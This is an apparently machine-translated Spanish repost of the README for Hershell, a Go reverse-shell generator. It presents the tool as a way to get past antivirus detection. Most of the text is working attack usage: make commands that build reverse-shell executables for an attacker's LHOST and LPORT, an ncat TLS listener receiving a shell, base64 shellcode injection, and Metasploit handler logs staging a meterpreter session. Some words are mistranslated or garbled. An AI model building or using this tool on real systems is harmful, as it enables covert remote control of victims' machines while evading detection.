Hershell - Multiplatform Reverse Shell Generator


Shell inverso TCP simple escrito en Go .
Utiliza TLS para proteger las comunicaciones y proporciona una función de fijación de huella digital de clave pública de certificado , evitando la intercepción del tráfico.
Los sistemas operativos compatibles son:
  • Ventanas
  • Linux
  • Mac OS
  • FreeBSD y derivados
Por qué ?
Aunque las cargas útiles de meterpreter son excelentes, a veces son detectadas por los productos AV.
El objetivo de este proyecto es obtener un shell inverso simple, que puede funcionar en múltiples sistemas.

Cómo ?
Como está escrito en Go, puede compilar de forma cruzada la fuente para la arquitectura deseada.

Primeros pasos y dependencias
Como se trata de un proyecto Go, deberá seguir la documentación oficial para configurar su entorno Golang (con la$GOPATHvariable de entorno).
Luego, solo corrego get github.com/lesnuages/hershellpara buscar el proyecto.

Creación de la carga útil
Para simplificar las cosas, puede usar el Makefile proporcionado. Puede establecer las siguientes variables de entorno:
  • GOOS : el sistema operativo de destino
  • GOARCH : la arquitectura de destino
  • LHOST : la IP del atacante o el nombre de dominio
  • LPORT: el puerto del oyente
Para las variables GOOSGOARCH, puede obtener los valores permitidos aquí .
Sin embargo, algunos objetivos auxiliares están disponibles en Makefile:
  • depends : genera el certificado del servidor (requerido para el shell inverso)
  • windows32 : construye un ejecutable de Windows de 32 bits (PE 32 bits)
  • windows64 : construye un ejecutable de Windows de 64 bits (PE 64 bits)
  • linux32 : construye un ejecutable Linux de 32 bits (ELF 32 bits)
  • linux64 : construye un ejecutable Linux de 64 bits (ELF 64 bits)
  • macos32 : construye un ejecutable mac os de 32 bits (Mach-O)
  • macos64 : construye un mac os ejecutable de 64 bits (Mach-O)
Para estos objetivos, sólo tiene que establecer las LHOSTLPORTvariables de entorno.

Uso del shell
Una vez ejecutado, se le proporcionará un shell remoto. Este shell interactivo personalizado le permitirá ejecutar comandos del sistema a través cmd.exede Windows o /bin/shen máquinas UNIX.
Se admiten los siguientes comandos especiales:
  • run_shell : te deja un shell del sistema (permitiéndote, por ejemplo, cambiar directorios)
  • inject <base64 shellcode> : inyecta un shellcode (codificado en base64) en la misma memoria de proceso y lo ejecuta
  • meterpreter [tcp|http|https] IP:PORT : se conecta a un controlador múltiple / para obtener un preprocesador de etapas tcp, http o https https desde metasploit y ejecuta el shellcode en la memoria (Windows solo en este momento)
  • exit : salir con gracia

Uso En
primer lugar, deberá generar un certificado válido:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Para ventanas:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Para Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Para Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234

Ejemplos

Uso básico
Se pueden usar varias herramientas para manejar conexiones entrantes, como:
  • socat
  • ncat
  • módulo de servidor openssl
  • controlador múltiple metasploit (con una python/shell_reverse_tcp_sslcarga útil)
Aquí hay un ejemplo con ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Puesta en escena de Meterpreter
ADVERTENCIA : actualmente solo funciona para la plataforma Windows.
La puesta en escena de meterpreter actualmente admite las siguientes cargas útiles:
  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https
Para usar el correcto, solo especifique el transporte que desea usar (tcp, http, https)
Para usar la función de preparación de meterpreter, simplemente inicie su controlador:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.1   6.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Luego, en hershell, use el meterpretercomando:
[hershell]> meterpreter https 172.16.122.105:8443
Debería aparecer una nueva sesión de meterpreter msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/   handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Créditos
@ khast3x para la función Dockerfile By Hacking Team 

                https://t.me/hackingteamelrinconoscuro

Comentarios